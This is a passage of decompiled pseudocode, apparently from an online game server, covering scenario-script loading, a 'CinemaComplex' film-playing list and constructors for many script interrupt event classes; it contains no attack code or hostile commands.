OptionReader::OptionReader(&or); v18 = 0; v1 = OptionReader::or_Read(&or, "../9Data/Shine/World/PineScript.txt"); v2 = OptionReader::or_ErrorLine(&or); if ( !v1 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Option read error", v2); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } for ( i = 0; ; ++i ) { v13 = &type; v12 = i; v11 = 0; v10 = byte_5A62A6; v15 = &v5; v9 = 0; v8 = 0; v7 = 0; v6 = 0; *(_DWORD *)&v5.ort_Name[0] = 0; strncpy(v5.ort_Name, "PineScript", 0x14u); v4 = OptionReader::or_Select(&or, "ScriptName", v5, v10, v11, v12, v13); if ( !v4 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } if ( !ScenarioBookShelf::sbs_Read(&scenarioshelf, (char *)v4) ) { AssertClass::ac_AssertFail( &shineassert, "ScenarioBookShelf::sbs_ReadNAssert : Script Load Error", (const char *)v4); ShineExit("ScenarioBookShelf::sbs_ReadNAssert"); } } v18 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (004C83D0) -------------------------------------------------------- int __thiscall Movie::CinemaComplex::cc_PlayFilm(Movie::CinemaComplex *this, char *scriptname, PineScriptToken *initval) { Movie::CinemaComplex *v3; // esi@1 int v4; // edi@1 DebugLogging *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // ebx@2 int result; // eax@5 DebugLogging *v9; // eax@6 int v10; // edi@6 DebugLogging *v11; // eax@7 DebugLogging *v12; // eax@8 ListIteratorDefault arg; // [sp+4h] [bp-14h]@6 int v14; // [sp+8h] [bp-10h]@6 int v15; // [sp+14h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_PlayFilm"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v15 = 0; v5 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 1"); DebugLogging::operator<<(v5, &deb_LF); LOWORD(v6) = v3->baseclass_0.l_Finger.empty; if ( (_WORD)v6 == -1 ) { v7 = initval; } else { v7 = v6; v4 = (int)v3->baseclass_0.vfptr->l_AllocA((List *)v3, (unsigned __int16)v6); } if ( v4 ) { v9 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 2"); DebugLogging::operator<<(v9, &deb_LF); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v14 = v4 + 66116; LOBYTE(v15) = 1; List::l_4AllInList((List *)(v4 + 66116), &arg); LOBYTE(v15) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v10 = Movie::Theater::t_PlayFilm((Movie::Theater *)v4, scriptname, initval); if ( v10 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "Script Error", scriptname); v11 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm Free"); DebugLogging::operator<<(v11, &deb_LF); v3->baseclass_0.vfptr->l_Free((List *)v3, (unsigned __int16)v7); } v12 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 3"); DebugLogging::operator<<(v12, &deb_LF); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); result = v10; } else { AssertClass::ac_AssertFail(&shineassert, "Movie::CinemaComplex::cc_PlayFilm : Too many film", 0); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); result = -1; } return result; } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004C85A0) -------------------------------------------------------- char __thiscall Movie::CinemaComplex::cc_IsDuringPlay(Movie::CinemaComplex *this, char *scriptname) { List *v2; // esi@1 char result; // al@1 __int16 hnd; // [sp+0h] [bp-12E00h]@1 FunctionEntarance _; // [sp+4h] [bp-12DFCh]@1 Movie::Theater key; // [sp+8h] [bp-12DF8h]@1 unsigned int v7; // [sp+12DF0h] [bp-10h]@1 int v8; // [sp+12DFCh] [bp-4h]@1 v2 = (List *)this; _.fe_FunctionCode = "Movie::CinemaComplex::cc_IsDuringPlay"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_IsDuringPlay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_IsDuringPlay"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; Movie::Theater::Theater(&key, scriptname); LOBYTE(v8) = 1; List::l_Search(v2, Movie::Theater::t_NameCompare, (unsigned __int16 *)&hnd, &key); LOBYTE(v8) = 0; Movie::Theater::_Theater(&key); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_IsDuringPlay"); __security_check_cookie(v7); return result; } //----- (004C86B0) -------------------------------------------------------- char __thiscall Movie::CinemaComplex::cc_DropFilm(Movie::CinemaComplex *this, char *scriptname) { int v2; // eax@0 void *v3; // esp@1 List *v4; // esi@1 Movie::Theater *v5; // eax@1 ListVtbl *v6; // edx@2 char result; // al@4 ListIteratorDefault arg; // [sp+0h] [bp-12E04h]@2 ScriptInterrupt::ScriptInterruptManager *v9; // [sp+4h] [bp-12E00h]@2 int hnd; // [sp+8h] [bp-12DFCh]@1 Movie::Theater key; // [sp+Ch] [bp-12DF8h]@1 unsigned int v12; // [sp+12DF4h] [bp-10h]@4 int v13; // [sp+12DF8h] [bp-Ch]@1 _EXCEPTION_DISPOSITION (__cdecl *v14)(EHExceptionRecord *, EHRegistrationNode *, void *, void *); // [sp+12DFCh] [bp-8h]@1 int v15; // [sp+12E00h] [bp-4h]@1 v15 = -1; v14 = _ehhandler__cc_DropFilm_CinemaComplex_Movie__QAEEPAE_Z; v13 = v2; v3 = alloca(77304); v4 = (List *)this; Movie::Theater::Theater(&key, scriptname); v15 = 0; v5 = List::l_Search(v4, Movie::Theater::t_NameCompare, (unsigned __int16 *)&hnd, &key); if ( v5 ) { arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v9 = &v5->t_InterruptManager; LOBYTE(v15) = 1; List::l_4AllInList((List *)&v5->t_InterruptManager, &arg); v6 = v4->vfptr; LOBYTE(v15) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v6->l_Free(v4, hnd); v15 = -1; Movie::Theater::_Theater(&key); } else { v15 = -1; Movie::Theater::_Theater(&key); } __security_check_cookie(v12); return result; } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004C87B0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, Movie::Theater *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { Movie::Theater::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004C87E0) -------------------------------------------------------- void *__thiscall Movie::Theater::operator_(void *this, int a2) { void *v2; // ebx@1 v2 = this; memcpy(this, (const void *)a2, 0x10244u); ScriptInterrupt::ScriptInterruptManager::operator_((int)((char *)this + 66116), a2 + 66116); memcpy((char *)v2 + 77020, (const void *)(a2 + 77020), 0x10Cu); return v2; } //----- (004C8870) -------------------------------------------------------- int __thiscall ScriptInterrupt::ScriptInterruptManager::operator_(int this, int a2) { int v2; // esi@1 int v3; // edi@1 int v4; // ebx@1 signed int v5; // ebp@1 v2 = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); v3 = this + 24; v4 = a2 - this; v5 = 20; do { ScriptInterrupt::ScriptInterruptArgument::operator_(v3, v4 + v3); v3 += 544; --v5; } while ( v5 ); return v2; } //----- (004C88D0) -------------------------------------------------------- int __thiscall ScriptInterrupt::ScriptInterruptArgument::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; memcpy((void *)(this + 4), (const void *)(a2 + 4), 0x101u); *(_DWORD *)(this + 264) = *(_DWORD *)(a2 + 264); *(_DWORD *)(this + 268) = *(_DWORD *)(a2 + 268); *(_DWORD *)(this + 272) = *(_DWORD *)(a2 + 272); *(_DWORD *)(this + 276) = *(_DWORD *)(a2 + 276); *(_DWORD *)(this + 280) = *(_DWORD *)(a2 + 280); memcpy((void *)(this + 284), (const void *)(a2 + 284), 0x104u); return result; } //----- (004C8950) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, Movie::Theater *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { Movie::Theater::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004C8980) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, Movie::Theater *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; Movie::Theater::operator_(ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004C89D0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, Movie::Theater *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; Movie::Theater::operator_(ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004C8A20) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::CinemaComplex(Movie::CinemaComplex *this) { Movie::CinemaComplex *v1; // esi@1 ListStruct *v2; // eax@2 ListStruct *v3; // eax@5 ListStruct *v4; // eax@8 ListStruct *v5; // eax@11 ListStruct *v6; // eax@14 ListStruct *v7; // eax@17 ListStruct *v8; // eax@20 ListStruct *v9; // eax@23 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 8u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->cc_Theater, 0x12DE8u, 8, (void (__thiscall *)(void *))Movie::Theater::Theater, (void (__thiscall *)(void *))Movie::Theater::_Theater); if ( v1->baseclass_0.l_MaxSize ) { v2 = v1->baseclass_0.l_Array; if ( !v2->ls_Content ) v2->ls_Content = v1->cc_Theater; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v3 = v1->baseclass_0.l_Array; if ( !v3[1].ls_Content ) v3[1].ls_Content = &v1->cc_Theater[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[2].ls_Content ) v4[2].ls_Content = &v1->cc_Theater[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[3].ls_Content ) v5[3].ls_Content = &v1->cc_Theater[3]; } if ( v1->baseclass_0.l_MaxSize > 4u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[4].ls_Content ) v6[4].ls_Content = &v1->cc_Theater[4]; } if ( v1->baseclass_0.l_MaxSize > 5u ) { v7 = v1->baseclass_0.l_Array; if ( !v7[5].ls_Content ) v7[5].ls_Content = &v1->cc_Theater[5]; } if ( v1->baseclass_0.l_MaxSize > 6u ) { v8 = v1->baseclass_0.l_Array; if ( !v8[6].ls_Content ) v8[6].ls_Content = &v1->cc_Theater[6]; } if ( v1->baseclass_0.l_MaxSize > 7u ) { v9 = v1->baseclass_0.l_Array; if ( !v9[7].ls_Content ) v9[7].ls_Content = &v1->cc_Theater[7]; } } // 5C40BC: using guessed type int (__stdcall *List_Movie__Theater____vftable_[3])(__int16 hnd); //----- (004C8B60) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this) { ScriptInterrupt::ScriptInterruptArgument *v1; // esi@1 v1 = this; PineScriptToken::pst_Clear(&this->sib_InterruptBlock); *(_DWORD *)&v1->sib_InterruptIndex.n4_name[12] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[8] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[4] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[0] = 0; } //----- (004C8B90) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->sib_InterruptBlock); } //----- (004C8BA0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this) { this->baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAreaEntry::_vftable_; } // 5C43E8: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAreaEntry___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8BB0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInteruptWinGuild *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptBase::_vftable_; } // 5C43C0: using guessed type int (*ScriptInterrupt__ScriptInterruptBase___vftable_)(); //----- (004C8BC0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this) { this->baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAreaLeave::_vftable_; } // 5C4410: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAreaLeave___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8BD0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle(ScriptInterrupt::ScriptInterruptNPCClickHandle *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickHandle::_vftable_; } // 5C4438: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickHandle___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8BE0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex(ScriptInterrupt::ScriptInterruptNPCClickIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickIndex::_vftable_; } // 5C4460: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8BF0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny(ScriptInterrupt::ScriptInterruptNPCClickAny *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickAny::_vftable_; } // 5C4488: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickAny___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C00) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptObjectDeadHandle::_vftable_; } // 5C44B0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptObjectDeadHandle___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C10) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptObjectDeadIndex::_vftable_; } // 5C44D8: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptObjectDeadIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C20) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate(ScriptInterrupt::ScriptInterruptMobEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptMobEleminate::_vftable_; } // 5C4500: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptMobEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate(ScriptInterrupt::ScriptInterruptPlayerEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPlayerEleminate::_vftable_; } // 5C4528: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPlayerEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C40) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate(ScriptInterrupt::ScriptInterruptGuildEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptGuildEleminate::_vftable_; } // 5C4550: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptGuildEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C50) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval(ScriptInterrupt::ScriptInterruptInterval *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptInterval::_vftable_; } // 5C4578: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptInterval___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C60) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow(ScriptInterrupt::ScriptInterruptHPLow *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPLow::_vftable_; } // 5C45A0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPLow___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C70) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut(ScriptInterrupt::ScriptInterruptTimeOut *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptTimeOut::_vftable_; } // 5C45C8: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptTimeOut___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C80) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy(ScriptInterrupt::ScriptInterruptKillEnemy *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptKillEnemy::_vftable_; } // 5C45F0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptKillEnemy___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8C90) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptTargetChange::_vftable_; } // 5C4618: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptTargetChange___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8CA0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead(ScriptInterrupt::ScriptInterruptPlayerDead *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPlayerDead::_vftable_; } // 5C4640: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPlayerDead___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8CB0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPickUpItemIndex::_vftable_; } // 5C4668: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPickUpItemIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8CC0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin(ScriptInterrupt::ScriptInterruptAdmin *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAdmin::_vftable_; } // 5C4690: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAdmin___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8CD0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull(ScriptInterrupt::ScriptInterruptHPFull *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPFull::_vftable_; } // 5C46B8: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPFull___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8CE0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper(ScriptInterrupt::ScriptInterruptHPUpper *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPUpper::_vftable_; } // 5C46E0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPUpper___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, int hnd, int center); //----- (004C8CF0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::InterruptEvent(ScriptInterrupt::ScriptInteruptWinGuild *this, ScriptInterrupt::ScriptInterruptArgument *pInterruptArument, ScriptInterrupt::InterruptEventArgument *pEventArument) { ScriptInterrupt::ScriptInteruptWinGuild *v3; // edi@1 v3 = this; if ( pInterruptArument->sib_InterruptBlast != 1 ) { if ( pEventArument->vfptr->GetEventType(pEventArument) == 1 ) { pInterruptArument->sib_InterruptBlast = 1; v3->RegNo = (unsigned int)pEventArument[1].vfptr; } } } //----- (004C8D30) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_AreaLeave(MapBlock::MapBlockInformation *this, Name8 *areaindex, unsigned int x, unsigned int y) { AreaInfoData::IAreaData *v4; // eax@1 char result; // al@2 float v6; // ST04_4@3 float v7; // ST00_4@3 v4 = AreaInfoData::GetData(&this->mbi_AreaData, areaindex); if ( v4 ) { v6 = (double)y; v7 = (double)x; result = ((int (__thiscall *)(_DWORD, _DWORD, _DWORD))v4->vfptr->IntersectTest)(v4, LODWORD(v7), LODWORD(v6)) == 0; } else { result = 0; } return result; } //----- (004C8D90) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5C4708: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004C8DB0) -------------------------------------------------------- void __cdecl std::fill(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Val) { std::list,std::allocator > >::iterator *i; // eax@1 for ( i = _First; i != _Last; ++i ) *(_DWORD *)&i->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Val->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; } //----- (004C8DD0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this) { ScriptInterrupt::ScriptInterruptManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; _eh_vector_destructor_iterator_( this->sim_ArgArray, 0x220u, 20, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument); v1->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5C4708: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004C8E40) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptArgument *__thiscall ScriptInterrupt::ScriptInterruptManager::sim_Alloc(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, ScriptInterrupt::ScriptInterruptBase *inst, PineScriptToken *eventblock, int num) { ScriptInterrupt::ScriptInterruptManager *v5; // esi@1 int v6; // eax@1 int v7; // ebp@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->baseclass_0.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = (int)v5->baseclass_0.vfptr->l_AllocZ((List *)v5, v6); if ( v7 ) { *(_DWORD *)v7 = inst; memcpy((void *)(v7 + 4), eventblock, 0x100u); *(_BYTE *)(v7 + 260) = 0; *(_DWORD *)(v7 + 264) = num; *(_QWORD *)(v7 + 268) = *(_QWORD *)&intindex->n4_name[0]; *(_QWORD *)(v7 + 276) = *(_QWORD *)&intindex->n4_name[8]; } else { AssertClass::ac_AssertFail( &shineassert, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc : Too many ScriptInterrupt", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"); return (ScriptInterrupt::ScriptInterruptArgument *)v7; } //----- (004C8F50) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck(ScriptInterrupt::ScriptInterruptUnitBase *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { 